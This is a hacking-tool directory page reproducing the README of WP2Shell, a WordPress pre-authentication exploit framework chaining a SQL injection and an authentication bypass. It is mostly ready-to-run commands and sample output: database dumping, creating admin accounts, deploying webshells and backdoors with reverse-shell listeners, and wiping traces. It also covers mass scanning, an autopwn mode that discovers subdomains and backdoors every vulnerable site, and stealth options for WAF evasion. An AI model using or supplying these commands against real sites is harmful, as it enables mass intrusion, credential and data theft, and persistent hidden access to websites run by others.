Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyยฉ 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
WP2Shell โ€” Modular WordPress pre-auth exploit framework chaining SQL injection and authentication bypass to deliver remote code execution, interactive shells, backdoors, and mass vulnerability scanning. | Kitploit
Tools/GitHubGitHub/g0d150ne/wp2shell
Penetration Testing FrameworksReconnaissanceVulnerability ScannersExploit FrameworksPersistence MechanismsExploitationWeb Application ExploitationWAF BypassRemote Access ToolPayload Development
GitHub
11512 months agoNot yet reviewed
g0d150ne/wp2shell

WP2Shell

Modular WordPress pre-auth exploit framework chaining SQL injection and authentication bypass to deliver remote code execution, interactive shells, backdoors, and mass vulnerability scanning.

View Repository

Most Popular

View all โ†’

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools โ†’
Share

WP2Shell - WordPress Pre-Auth RCE Exploit

CVE-2026-63030 + CVE-2026-60137
Version: 4.0.0
Author: G0D150NE

๐Ÿ“Œ Overview

WP2Shell is a full-chain exploit tool for WordPress pre-authentication remote code execution. It combines two critical vulnerabilities:

  • CVE-2026-63030 - SQL Injection in REST API Batch endpoint
  • CVE-2026-60137 - Authentication Bypass via oEmbed Cache Poisoning

This tool allows complete compromise of vulnerable WordPress installations without any authentication - from detection to full RCE and persistence.

โšก Features

  • ๐Ÿ” Non-destructive checking - Safe vulnerability confirmation
  • ๐Ÿ“Š Multi-technique extraction - UNION, Error-based, Blind SQLi
  • ๐Ÿš€ Full RCE chain - From SQLi to admin account creation
  • ๐Ÿš Webshell deployment - Hidden plugin-based backdoor
  • ๐Ÿงน Cleanup capability - Remove all traces
  • ๐Ÿ“ก Mass scanning - Threaded scanner for multiple targets
  • ๐Ÿค– Autopwn mode - Subdomain discovery + automatic exploitation
  • ๐ŸŒ Proxy rotation - Support for rotating proxies
  • ๐Ÿ•ต๏ธ Stealth mode - Random delays and WAF bypass techniques

๐Ÿ”ง Installation

# Clone repository
git clone https://github.com/g0d150ne/wp2shell.git
cd wp2shell

# No dependencies needed - uses Python 3.8+ standard library
chmod +x wp2shell.py

๐ŸŽฏ Usage

Command Structure

python3 wp2shell.py [COMMAND] [OPTIONS] [TARGET]

Available Commands

CommandDescription
checkNon-destructive vulnerability confirmation
readExtract data via SQL injection
exploitFull pre-auth RCE chain
shellDeploy webshell with existing credentials
masscanMass scan multiple targets
autopwnAutomatic discovery โ†’ scan โ†’ exploit

๐Ÿš€ Examples

1. Vulnerability Check

python3 wp2shell.py check https://target.com
python3 wp2shell.py check https://target.com --confirm-timing --sleep 5

2. Data Extraction

Basic fingerprint:

python3 wp2shell.py read https://target.com

Extract users:

python3 wp2shell.py read https://target.com --preset users

Custom query:

python3 wp2shell.py read https://target.com --query "SELECT @@version"

Dump entire database:

python3 wp2shell.py read https://target.com --preset dumpall --max-length 4096

3. Full Exploitation

Basic exploit:

python3 wp2shell.py exploit https://target.com

Exploit with interactive shell:

python3 wp2shell.py exploit https://target.com --interactive

Exploit with backdoor installation:

python3 wp2shell.py exploit https://target.com --backdoor --lhost 192.168.1.100 --lport 4444

Exploit with database dump:

python3 wp2shell.py exploit https://target.com --dumpdb

Exploit with cleanup (remove traces):

python3 wp2shell.py exploit https://target.com --cleanup

4. Using Existing Admin Credentials

python3 wp2shell.py shell https://target.com --user admin --password secret123 --interactive
python3 wp2shell.py shell https://target.com --user admin --password secret123 --command "whoami"

5. Mass Scanning

# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt

# Scan with 50 threads
python3 wp2shell.py masscan --file targets.txt --threads 50 --output results.csv

6. Autopwn Mode (Full Automation)

python3 wp2shell.py autopwn --domain example.com --lhost 192.168.1.100

This will:

  1. Discover subdomains via crt.sh
  2. Identify WordPress installations
  3. Exploit all vulnerable sites
  4. Install backdoors on successful targets

๐ŸŽฎ Interactive Shell

After exploitation, you get a full interactive shell:

python3 wp2shell.py exploit https://target.com -i
[*] Interactive shell โ€” type 'exit' to quit
/var/www/html $ id
uid=33(www-data) gid=33(www-data)
/var/www/html $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
/var/www/html $ exit

๐Ÿ›ก๏ธ Options Reference

Common Options

OptionDescription
--timeoutHTTP timeout in seconds (default: 30)
--proxiesComma-separated proxy list (e.g., http://127.0.0.1:8080)
--stealthEnable stealth mode with random delays
-v, --verboseEnable debug output
-q, --quietSuppress banner and info messages

Read Command Options

OptionDescription
--prefixTable prefix (default: wp_)
--auto-prefixAuto-discover table prefix
--max-lengthMax chars per value (default: 128)
--techniqueExtraction technique: auto/union/error/blind
--presetData preset: fingerprint/users/dumpall
--queryArbitrary SQL expression to extract

Exploit Command Options

OptionDescription
--prefixTable prefix (default: wp_)
--no-discoverSkip auto-discovery, use defaults
-i, --interactiveDrop into shell after exploitation
-c, --commandExecute single command after exploitation
--backdoorInstall persistence backdoor
--lhostLHOST for reverse shell (default: 10.0.0.1)
--lportLPORT for reverse shell (default: 4444)
--dumpdbDump database after exploitation
--cleanupDelete created user and webshell on exit

๐Ÿ”ฌ Technical Details

Vulnerability Chain

  1. SQL Injection (CVE-2026-63030)

    • Occurs in /wp-json/batch/v1 endpoint
    • author_exclude parameter vulnerable to time-based blind SQLi
    • Allows UNION and error-based extraction
  2. Authentication Bypass (CVE-2026-60137)

    • oEmbed cache poisoning via /_embed parameter
    • Allows creating admin users through customizer changeset
    • Triggers re-entry chain for privileged account creation

Supported WordPress Versions

VersionStatus
6.9.0โœ… Vulnerable
6.9.1โœ… Vulnerable
6.9.2โœ… Vulnerable
6.9.3โœ… Vulnerable
6.9.4โœ… Vulnerable
7.0.0โœ… Vulnerable
7.0.1โœ… Vulnerable
โ‰ฅ 7.0.2โŒ Patched

Extraction Techniques

TechniqueSpeedData SizeRequirements
UNIONโšก Very FastUnlimitedTarget must not filter UNION
Error๐Ÿš€ Fast~30 chars/reqTarget must expose error messages
Blind๐Ÿข SlowUnlimitedBoolean oracle available

๐Ÿ“Š Output Examples

Successful Exploitation

โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘      โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘        
                                                                                                                                                                                                                            
  CVE-2026-63030 + CVE-2026-60137
  WordPress Pre-Auth RCE  [v4.0.0]
  + G0D150NE

[1/7] Reconnaissance
  Target: https://target.com
  WordPress 6.9.3
[+] UNION extraction available (in-band, 1 request/value)

[2/7] Enumerating target
[+] Discovered table prefix: wp_

[3/7] Locating embed target
[+] Embed URL: https://target.com/2020/01/01/hello-world/

[4/7] Seeding oEmbed cache posts
[+] Seed payload delivered

[5/7] Extracting cache post IDs
[+] Cache IDs: [12345, 12346, 12347, 12348]

[6/7] Triggering escalation chain
[+] Administrator created via re-entry chain

[7/7] Deploying webshell
[+] Authenticated
[+] RCE confirmed
  uid: www-data

[+] ========================================================
[+]   TARGET COMPROMISED
[+]   Admin:  wp_service_a1b2 / G7hK9xQw2p$L!mN
[+]   Shell:  https://target.com/wp-content/plugins/cache_a1b2/cache_a1b2.php
[+] ========================================================

โš ๏ธ Disclaimer

Download Tool